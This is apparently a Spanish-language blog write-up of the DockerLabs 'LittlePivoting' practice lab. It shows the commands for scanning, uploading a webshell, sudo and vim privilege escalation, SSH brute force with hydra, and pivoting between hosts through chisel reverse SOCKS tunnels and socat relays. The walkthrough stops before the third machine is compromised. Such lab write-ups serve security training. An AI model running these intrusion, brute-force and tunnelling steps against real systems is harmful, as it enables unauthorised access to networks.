Post

LittlePivoting, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Tecnicas Herramientas
scan de puertos nmap
reverse shell urlencodeada
tratamiento de tty script, stty, reset
pivoting chisel socat
tunneling proxychains
escalada de privilegios searchbins

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre a la primera maquina en mi caso le tire a la upload.

Upload

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX upload 172.18.0.2

reporte

Como vemos solo tenemos el 80 http Nos han dejado una subida de difcheros sin sanitizar nada asi que subimos una revsshhell o webshell para mandadrnos una reverse shell. Una vez debtro con sudl -l vermos que nos has dejado el binario env lo usamos para escalar.

1
sudo env /bin/sh

Realizamos tratamiento tty. Listamos dispositivos y direcciones.

1
2
ls /sys/class/net/
hostname -I

Pivoting

Empezamos con el pivoting, para ello usamos chisel y socat. En la maquina atacante lanzamos una instancia a modo servidor de chisel el cual se queda a la escucha y en la upload lanzamos el cliente de chisel que se conecta al servidor y le dice que cree un tunel en el puerto 11111.

Port forwading

1
./chisel server --reverse -p 11111

En la maquina victima lanzamos el cliente de chisel que se conecta al servidor y le dice que cree un tunel en el puerto 2222.

1
./chisel client 10.10.10.1:11111 R:socks

Con esto conseguim,os que los ver la maquina victima 2 pero ella no nos ve mas adelante y cuando ya tengamos vulnerada la maquina 2 configurearemos socat para que ella nos vea a nosotros y nosotros a ella.

No nos olvidemos de configurar el proxychains para que use el tunel de chisel y poder alcanzar la maquina 2 para escanearla.

1
proxychains nmap -A -n -Pn 20.20.20.3

nmmap2

Ya vemos los puertos de la siguiente maquina, revisemos la web a ver que encontramos a simple vista no nada asi que fuzzing.

1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,txt -t 40 -u http://20.20.20.3 -p socks5://127.0.0.1:1080

fuzzing

Si accedemos a 20.20.20.3/secret.php vemos que nos dan un usuario asi que vamos a realizar fuerza bruta contra ssh y dicho usuario.

1
proxychains hydra -l mario -P Descargas/rockyou.txt/rockyou.txt ssh://20.20.20.3 

hydra

Una vez conseguido el usuario y la contraseña nos conectamos a la maquina 2.

1
proxychains ssh mario@20.20.20.3

Una vez dentro de la maquina 2 y listamos los dispositivos y direcciones y comprobamos como escalar a root , vemos que nos han dejado a vim. Entramos a vim y ejecutamos el comando :!/bin/bash para ejecutar una shell de bash dentro de vim y manterner los privilegios de root.

Ahora que ya somo root podriamos volver a crear los tunenles de chisel, para ello me abro otra revshell en la maquina 1 para poder mandar los binarios de chisel y socat a la maquina 2.

Recapitulamos de momento tenemos la maquina 1 y la 2, la 1 es la que nos da acceso a la 2 y la 2 es la que nos dara acceso a la 3.

Pero de moemento no vemos desde la atacante la 3 , solo la 1 de modo normal y la dos a traves de proxychains

Ahora en la maquina 1 hemos de empezar a usar socat para que la maquina 2 nos vea a nosotros. Socat nos va a permitir crear un tunel que reenvie todo el trafico de la maquina 2 a traves de la maquina 1 la cual lo vuelve a redirigir a la maquina atacante. Para ello lanzamos socat en la maquina 1 a modo redicreccionanor que escucha en el puerto 1111 y redirige todo el trafico a la maquina atacante.

1
./socat tcp-l:33333,fork,reuseaddr tcp:192.168.0.101:11111

Ahora en la maquina 2 lanzamos el cliente de chisel que se conecta al servidor y le dice que cree un tunel en el puerto 2222.

1
./chisel client 20.20.20.2:33333 R:55555:socks

Con esto conseguimos que la maquina 2 vea a la maquina 1 y la maquina 1 vea a la maquina 2 , tambiwen vemos la maquina 3 pero ella no nos ve a nosotros para enviarnos un revshell deberiamos de crear una instancias tanto en la maquina como en la maquina 2 para dirigir todo el trafico hacia la instacia de chisel server en nuestra maquina atacante. Ahora volvemos a configurar el proxychains para que use el tunel de chisel y poder alcanzar la maquina 3 para escanearla.

Aqui un diagrama para tratar de comprender visualmente que es lo que hacemos:

diagrama

cortesia de gpt, aunque hubiese sido mas entendible hacerlo con paint

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.